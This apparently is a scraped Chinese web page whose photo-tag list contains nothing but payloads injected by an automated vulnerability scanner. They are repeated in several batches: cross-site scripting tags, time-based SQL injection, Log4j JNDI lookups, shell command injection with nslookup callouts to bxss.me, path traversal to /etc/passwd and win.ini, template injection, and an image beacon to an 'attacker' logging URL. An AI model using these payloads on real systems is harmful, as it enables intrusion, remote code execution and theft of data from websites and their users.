×
照片标签：
- 1
- response.write(9427191*9203169)
- '+response.write(9427191*9203169)+'
- "+response.write(9427191*9203169)+"
- X5jB8xBB
- ${j${::-n}di:dns${::-:}//hitiuhxmfanffaeedc${::-.}bxss.me}zzzz
- 1<esi:include src="http://bxss.me/rpb.png"/>
- ${${:::::::::::::::::-j}ndi:dns${:::::::::::::::::-:}//dns.log4j..-95877..42fee${::-.}1${::-.}bxss.me}}
- ../../../../../../../../../../../../../../etc/passwd
- 12345'"\'\")
- ../../../../../../../../../../../../../../windows/win.ini
- echo fplowd$()\ fwevqq\nz^xyu||a #' &echo fplowd$()\ fwevqq\nz^xyu||a #|" &echo fplowd$()\ fwevqq\nz^xyu||a #
- &echo nbnpyu$()\ zdqnlu\nz^xyu||a #' &echo nbnpyu$()\ zdqnlu\nz^xyu||a #|" &echo nbnpyu$()\ zdqnlu\nz^xyu||a #
- ${10000235+10000007}
- |echo hoeiyd$()\ nmqiro\nz^xyu||a #' |echo hoeiyd$()\ nmqiro\nz^xyu||a #|" |echo hoeiyd$()\ nmqiro\nz^xyu||a #
- ../1
- (nslookup hitiyamjwjunx4116a.bxss.me||perl -e "gethostbyname('hitiyamjwjunx4116a.bxss.me')")
- $(nslookup hitttgkpoiyzg34ff4.bxss.me||perl -e "gethostbyname('hitttgkpoiyzg34ff4.bxss.me')")
- http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg
- &(nslookup hitdzdmgtwipj97d59.bxss.me||perl -e "gethostbyname('hitdzdmgtwipj97d59.bxss.me')")&'\"`0&(nslookup hitdzdmgtwipj97d59.bxss.me||perl -e "gethostbyname('hitdzdmgtwipj97d59.bxss.me')")&`'
- 1some_inexistent_file_with_long_name .jpg
- |(nslookup hitdjrzrdepmkd80c4.bxss.me||perl -e "gethostbyname('hitdjrzrdepmkd80c4.bxss.me')")
- `(nslookup hitivgemczcqq713e3.bxss.me||perl -e "gethostbyname('hitivgemczcqq713e3.bxss.me')")`
- Http://bxss.me/t/fit.txt
- )
- http://bxss.me/t/fit.txt?.jpg
- 1&n955462=v970001
- !(()&&!|*|*|
- '.gethostbyname(lc('hitur'.'bpgemlnv5d158.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(102).chr(68).chr(99).chr(80).'
- ^(#$!@#$)(()))******
- '"()
- ".gethostbyname(lc("hitko"."vkidjasg005f5.bxss.me."))."A".chr(67).chr(hex("58")).chr(112).chr(75).chr(100).chr(84)."
- bxss.me
- )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
- '
- "
- ${@print(md5(31337))}
- HttP://bxss.me/t/xss.html?%00
- bibs
- ${@print(md5(31337))}\
- "+"A".concat(70-3).concat(22*4).concat(117).concat(88).concat(110).concat(83)+(require"socket" Socket.gethostbyname("hitti"+"pdjdxnijcd885.bxss.me.")[3].to_s)+"
- bxss.me/t/xss.html?%00
- '+'A'.concat(70-3).concat(22*4).concat(117).concat(83).concat(119).concat(71)+(require'socket' Socket.gethostbyname('hituf'+'qwvonpmca5e36.bxss.me.')[3].to_s)+'
- '.print(md5(31337)).'
- bibs/.
- '"
- <!--
- 1'"()&%<acx><ScRiPt >RFTH(9654)</ScRiPt>
- '"()&%<acx><ScRiPt >RFTH(9478)</ScRiPt>
- 19800153
- acu2361＜s1﹥s2ʺs3ʹuca2361
- acux4861z1z2abcxuca4861
- <%={{={@{#{${acx}}%>
- <th:t="${acx}#foreach
- 1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>
- acx{{98991*97996}}xca
- acx[[${98991*97996}]]xca
- acx__${98991*97996}__::.x
- "acxzzzzzzzzbbbccccdddeeexca".replace("z"
- "o")
- acu4913＜s1﹥s2ʺs3ʹuca4913
- acux3204z1z2abcxuca3204
- 70ZpFI9A
- -1 OR 2+97-97-1=0+0+0+1 --
- -1 OR 2+546-546-1=0+0+0+1
- -1' OR 2+417-417-1=0+0+0+1 --
- -1' OR 2+545-545-1=0+0+0+1 or 'tiaINXIR'='
- -1" OR 2+229-229-1=0+0+0+1 --
- acu8507＜s1﹥s2ʺs3ʹuca8507
- acux10343z1z2abcxuca10343
- if(now()=sysdate()
- sleep(15)
- 0)
- 0'XOR(if(now()=sysdate()
- 0))XOR'Z
- 0"XOR(if(now()=sysdate()
- 0))XOR"Z
- (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
- 1"onmouseover=RFTH(98712)"
- 1" AB8c=RFTH([!+!]) sog="
- -1
- 1\u0022onmouseover=RFTH(98893)\u0022
- %31%22%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%52%46%54%48%28%39%37%32%37%34%29%22
- "onmouseover=RFTH(98795)//
- -1)
- 1"sTYLe='acu:Expre/**/SSion(RFTH(9775))'bad="
- 1"><script>RFTH(9901)</script>
- 1<ScRiPt >RFTH(9796)</ScRiPt>
- 1 waitfor delay '0:0:15' --
- 1<WOUYYN>GBXCO[!+!]</WOUYYN>
- 1<script>RFTH(9928)</script>
- ooMMCoql'
- 1<ScR<ScRiPt>IpT>RFTH(9317)</sCr<ScRiPt>IpT>
- 1<ScRiPt >RFTH(9692)</ScRiPt>
- 1<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9803></ScRiPt>
- 1< ScRiPt >RFTH(9254)</ScRiPt>
- -5 OR 377=(SELECT 377 FROM PG_SLEEP(15))--
- 1<svg onload=RFTH(9496)
- 1<isindex type=image src=1 onerror=RFTH(9110)>
- 1<iframe src='data:text/html
- -5) OR 229=(SELECT 229 FROM PG_SLEEP(15))--
- 1<body onload=RFTH(9696)>
- 1<img src=//xss.bxss.me/t/dot.gif onload=RFTH(9114)>
- 1<img src=xyz OnErRor=RFTH(9632)>
- -1)) OR 427=(SELECT 427 FROM PG_SLEEP(15))--
- 1<img/src=">" onerror=alert(9319)>
- %31%3C%53%63%52%69%50%74%20%3E%52%46%54%48%289752%29%3C%2F%73%43%72%69%70%54%3E
- AHECTssN' OR 699=(SELECT 699 FROM PG_SLEEP(15))--
- 1\u003CScRiPt\RFTH(9541)\u003C/sCripT\u003E
- 1<
- <img acu onmouseover=RFTH(97731) //>
- 5p5KSe5V') OR 819=(SELECT 819 FROM PG_SLEEP(15))--
- 1<input autofocus onfocus=RFTH(9409)>
- <a HrEF=http://xss.bxss.me></a>
- <a HrEF=jaVaScRiPT:>
- sc7FpO6q')) OR 701=(SELECT 701 FROM PG_SLEEP(15))--
- 1}body{acu:Expre/**/SSion(RFTH(9770))}
- 1A7DeR <ScRiPt >RFTH(9083)</ScRiPt>
- 1<WVUHXD>SL8FZ[!+!]</WVUHXD>
- 1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99)
- 15)
- 1<ifRAme sRc=9356.com></IfRamE>
- 1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98)
- 15)||'
- 1<azfSfqc x=9254>
- 1<img sRc='http://attacker-9909/log.php?
- 1<a9RvE3e<
- '||(select 1 from (select pg_sleep(15))x)||'
- ''||(select 1 from (select pg_sleep(15))x)||''
- 1'"
- 1 %2527%2522
- @@j9tDt
- Bh8LkNmN
- -1 OR 2+311-311-1=0+0+0+1 --
- -1 OR 2+932-932-1=0+0+0+1
- -1' OR 2+466-466-1=0+0+0+1 --
- -1' OR 2+386-386-1=0+0+0+1 or 'hwkNbktc'='
- -1" OR 2+98-98-1=0+0+0+1 --
- fLGbAXC0'
- -5 OR 743=(SELECT 743 FROM PG_SLEEP(15))--
- -5) OR 116=(SELECT 116 FROM PG_SLEEP(15))--
- -1)) OR 212=(SELECT 212 FROM PG_SLEEP(15))--
- CTOhwWFD' OR 764=(SELECT 764 FROM PG_SLEEP(15))--
- wnitJHzS') OR 17=(SELECT 17 FROM PG_SLEEP(15))--
- nFew5C0K')) OR 260=(SELECT 260 FROM PG_SLEEP(15))--
- @@B501Z
- 1ygdMaXVtO
- ${j${::-n}di:dns${::-:}//hitnhjhgzldtp47058${::-.}bxss.me}zzzz
- ${${:::::::::::::::::-j}ndi:dns${:::::::::::::::::-:}//dns.log4j..-658776..42fee${::-.}1${::-.}bxss.me}}
- response.write(9035753*9943859)
- '+response.write(9035753*9943859)+'
- "+response.write(9035753*9943859)+"
- echo vlyhpm$()\ dwozrf\nz^xyu||a #' &echo vlyhpm$()\ dwozrf\nz^xyu||a #|" &echo vlyhpm$()\ dwozrf\nz^xyu||a #
- &echo fqxaeq$()\ zcetej\nz^xyu||a #' &echo fqxaeq$()\ zcetej\nz^xyu||a #|" &echo fqxaeq$()\ zcetej\nz^xyu||a #
- |echo adnbfo$()\ pvwhur\nz^xyu||a #' |echo adnbfo$()\ pvwhur\nz^xyu||a #|" |echo adnbfo$()\ pvwhur\nz^xyu||a #
- (nslookup hitusonbsmhyv33885.bxss.me||perl -e "gethostbyname('hitusonbsmhyv33885.bxss.me')")
- $(nslookup hitqnkprjccra5b9e1.bxss.me||perl -e "gethostbyname('hitqnkprjccra5b9e1.bxss.me')")
- &(nslookup hitezwxaljufi805e2.bxss.me||perl -e "gethostbyname('hitezwxaljufi805e2.bxss.me')")&'\"`0&(nslookup hitezwxaljufi805e2.bxss.me||perl -e "gethostbyname('hitezwxaljufi805e2.bxss.me')")&`'
- |(nslookup hitjfxswmxpqte37cb.bxss.me||perl -e "gethostbyname('hitjfxswmxpqte37cb.bxss.me')")
- `(nslookup hitqpkjkdlvxu75bef.bxss.me||perl -e "gethostbyname('hitqpkjkdlvxu75bef.bxss.me')")`
- 0OOhdEy0
- ${9999848+9999954}
- 1&n961532=v963474
- '.gethostbyname(lc('hitow'.'wfdgckfj72363.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(110).chr(84).chr(115).chr(77).'
- ".gethostbyname(lc("hitnl"."lxsazrxc242f4.bxss.me."))."A".chr(67).chr(hex("58")).chr(117).chr(83).chr(108).chr(90)."
- "+"A".concat(70-3).concat(22*4).concat(112).concat(79).concat(110).concat(81)+(require"socket" Socket.gethostbyname("hitpp"+"pmrktxto5dbd1.bxss.me.")[3].to_s)+"
- '+'A'.concat(70-3).concat(22*4).concat(98).concat(89).concat(97).concat(86)+(require'socket' Socket.gethostbyname('hityn'+'tklettxz5a707.bxss.me.')[3].to_s)+'
- /xfs.bxss.me
- 1'"()&%<acx><ScRiPt >W7Op(9189)</ScRiPt>
- '"()&%<acx><ScRiPt >W7Op(9551)</ScRiPt>
- 19895628
- acu3421＜s1﹥s2ʺs3ʹuca3421
- acux3460z1z2abcxuca3460
- acu8023＜s1﹥s2ʺs3ʹuca8023
- acux7011z1z2abcxuca7011
- acu4072＜s1﹥s2ʺs3ʹuca4072
- acux4636z1z2abcxuca4636
- 1"onmouseover=W7Op(96892)"
- 1" 6d6V=W7Op([!+!]) iYY="
- 1\u0022onmouseover=W7Op(90633)\u0022
- %31%22%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%57%37%4F%70%28%39%34%33%30%34%29%22
- "onmouseover=W7Op(99675)//
- 1"sTYLe='acu:Expre/**/SSion(W7Op(9175))'bad="
- 1"><script>W7Op(9532)</script>
- 1<ScRiPt >W7Op(9213)</ScRiPt>
- 1<WHLPB6>6IPSG[!+!]</WHLPB6>
- 1<script>W7Op(9243)</script>
- 1<ScR<ScRiPt>IpT>W7Op(9074)</sCr<ScRiPt>IpT>
- 1<ScRiPt >W7Op(9402)</ScRiPt>
- 1<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9772></ScRiPt>
- 1< ScRiPt >W7Op(9336)</ScRiPt>
- 1<svg onload=W7Op(9317)
- 1<isindex type=image src=1 onerror=W7Op(9710)>
- 1<body onload=W7Op(9686)>
- 1<img src=//xss.bxss.me/t/dot.gif onload=W7Op(9206)>
- 1<img src=xyz OnErRor=W7Op(9322)>
- 1<img/src=">" onerror=alert(9769)>
- %31%3C%53%63%52%69%50%74%20%3E%57%37%4F%70%289787%29%3C%2F%73%43%72%69%70%54%3E
- 1\u003CScRiPt\W7Op(9823)\u003C/sCripT\u003E
- <img acu onmouseover=W7Op(96631) //>
- 1<input autofocus onfocus=W7Op(9586)>
- 1}body{acu:Expre/**/SSion(W7Op(9874))}
- 1pEODJ <ScRiPt >W7Op(9362)</ScRiPt>
- 1<WPLALL>6EMIZ[!+!]</WPLALL>
- 1<ifRAme sRc=9485.com></IfRamE>
- 1<aBeenli x=9849>
- 1<img sRc='http://attacker-9170/log.php?
- 1<aZX4dE8<
- VA4y7YxQ
- response.write(9615135*9335357)
- '+response.write(9615135*9335357)+'
- ${j${::-n}di:dns${::-:}//hittfqvbejxsv132fc${::-.}bxss.me}zzzz
- "+response.write(9615135*9335357)+"
- ${${:::::::::::::::::-j}ndi:dns${:::::::::::::::::-:}//dns.log4j..-672461..42fee${::-.}1${::-.}bxss.me}}
- echo tgdcxk$()\ yyzzvk\nz^xyu||a #' &echo tgdcxk$()\ yyzzvk\nz^xyu||a #|" &echo tgdcxk$()\ yyzzvk\nz^xyu||a #
- &echo otefun$()\ ctyfmq\nz^xyu||a #' &echo otefun$()\ ctyfmq\nz^xyu||a #|" &echo otefun$()\ ctyfmq\nz^xyu||a #
- |echo xqnrrl$()\ pjezcg\nz^xyu||a #' |echo xqnrrl$()\ pjezcg\nz^xyu||a #|" |echo xqnrrl$()\ pjezcg\nz^xyu||a #
- (nslookup hitzjhsefbmks99e04.bxss.me||perl -e "gethostbyname('hitzjhsefbmks99e04.bxss.me')")
- ${10000357+10000441}
- $(nslookup hitvdsnuoymkuf1d31.bxss.me||perl -e "gethostbyname('hitvdsnuoymkuf1d31.bxss.me')")
- &(nslookup hitiabglxxvgv6ebbe.bxss.me||perl -e "gethostbyname('hitiabglxxvgv6ebbe.bxss.me')")&'\"`0&(nslookup hitiabglxxvgv6ebbe.bxss.me||perl -e "gethostbyname('hitiabglxxvgv6ebbe.bxss.me')")&`'
- |(nslookup hitdmzukxlbjlac72c.bxss.me||perl -e "gethostbyname('hitdmzukxlbjlac72c.bxss.me')")
- `(nslookup hitrbsscllekle6c4d.bxss.me||perl -e "gethostbyname('hitrbsscllekle6c4d.bxss.me')")`
- 1&n955791=v991816
- '.gethostbyname(lc('hitfu'.'fwtprqwsd4e37.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(112).chr(90).chr(116).chr(70).'
- ".gethostbyname(lc("hitsj"."tjvchyxm5cb07.bxss.me."))."A".chr(67).chr(hex("58")).chr(98).chr(84).chr(108).chr(89)."
- "+"A".concat(70-3).concat(22*4).concat(98).concat(77).concat(107).concat(89)+(require"socket" Socket.gethostbyname("hitcd"+"lgnuvchjafe4f.bxss.me.")[3].to_s)+"
- '+'A'.concat(70-3).concat(22*4).concat(102).concat(84).concat(105).concat(84)+(require'socket' Socket.gethostbyname('hitii'+'yvukkvck18f98.bxss.me.')[3].to_s)+'
- Fp0fuKSb
- -1 OR 2+679-679-1=0+0+0+1 --
- -1 OR 2+884-884-1=0+0+0+1
- 1'"()&%<acx><ScRiPt >Cebv(9826)</ScRiPt>
- -1' OR 2+396-396-1=0+0+0+1 --
- -1' OR 2+525-525-1=0+0+0+1 or 'l4mY2O6m'='
- '"()&%<acx><ScRiPt >Cebv(9339)</ScRiPt>
- -1" OR 2+887-887-1=0+0+0+1 --
- 19176047
- acu10743＜s1﹥s2ʺs3ʹuca10743
- acux10980z1z2abcxuca10980
- RbKdhDBr'
- acu7563＜s1﹥s2ʺs3ʹuca7563
- -5 OR 509=(SELECT 509 FROM PG_SLEEP(15))--
- acux10829z1z2abcxuca10829
- -5) OR 863=(SELECT 863 FROM PG_SLEEP(15))--
- -1)) OR 877=(SELECT 877 FROM PG_SLEEP(15))--
- LLGB2kIa' OR 222=(SELECT 222 FROM PG_SLEEP(15))--
- foli7bnZ') OR 354=(SELECT 354 FROM PG_SLEEP(15))--
- URnHznX8')) OR 689=(SELECT 689 FROM PG_SLEEP(15))--
- acu5789＜s1﹥s2ʺs3ʹuca5789
- acux6263z1z2abcxuca6263
- @@kATaw
- 1"onmouseover=Cebv(92602)"
- 1" aQD5=Cebv([!+!]) lo8="
- 1\u0022onmouseover=Cebv(97433)\u0022
- %31%22%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%43%65%62%76%28%39%36%35%37%34%29%22
- "onmouseover=Cebv(95565)//
- 1"sTYLe='acu:Expre/**/SSion(Cebv(9434))'bad="
- 1"><script>Cebv(9539)</script>
- 1<ScRiPt >Cebv(9905)</ScRiPt>
- 1<WCYUHO>UFRJG[!+!]</WCYUHO>
- 1<script>Cebv(9357)</script>
- 1<ScR<ScRiPt>IpT>Cebv(9136)</sCr<ScRiPt>IpT>
- 1<ScRiPt >Cebv(9478)</ScRiPt>
- 1<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9931></ScRiPt>
- 1< ScRiPt >Cebv(9434)</ScRiPt>
- 1<svg onload=Cebv(9972)
- 1<isindex type=image src=1 onerror=Cebv(9206)>
- 1<body onload=Cebv(9908)>
- 1<img src=//xss.bxss.me/t/dot.gif onload=Cebv(9242)>
- 1<img src=xyz OnErRor=Cebv(9696)>
- 1<img/src=">" onerror=alert(9693)>
- %31%3C%53%63%52%69%50%74%20%3E%43%65%62%76%289350%29%3C%2F%73%43%72%69%70%54%3E
- 1\u003CScRiPt\Cebv(9362)\u003C/sCripT\u003E
- <img acu onmouseover=Cebv(95881) //>
- 1<input autofocus onfocus=Cebv(9089)>
- 1}body{acu:Expre/**/SSion(Cebv(9073))}
- 12mqCx <ScRiPt >Cebv(9345)</ScRiPt>
- 1<WLWBZS>ERZYA[!+!]</WLWBZS>
- 1<ifRAme sRc=9792.com></IfRamE>
- 1<acpx4Va x=9657>
- 1<img sRc='http://attacker-9148/log.php?
- 1<aOqPDfT<
微信扫一扫, 保存到手机
